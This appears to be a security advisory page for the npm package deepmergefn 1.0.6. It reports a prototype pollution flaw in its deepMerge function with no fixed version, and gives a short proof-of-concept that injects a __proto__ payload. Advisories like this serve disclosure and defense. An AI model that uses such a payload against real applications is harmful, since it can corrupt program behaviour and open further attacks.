deepmergefn@1.0.6 vulnerabilities

Deep merge objects width diferent atributtes

Direct Vulnerabilities

Known vulnerabilities in the deepmergefn package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

deepmergefn is a Mixes two data objects in depth

Affected versions of this package are vulnerable to Prototype Pollution via deepMerge function.

PoC

const deepMerge = require("deepmergefn");
EVIL_DATA = JSON.parse('{"__proto__":{"polluted":true}}');
deepMerge({}, EVIL_DATA);
console.log(polluted);

How to fix Prototype Pollution?

There is no fixed version for deepmergefn.

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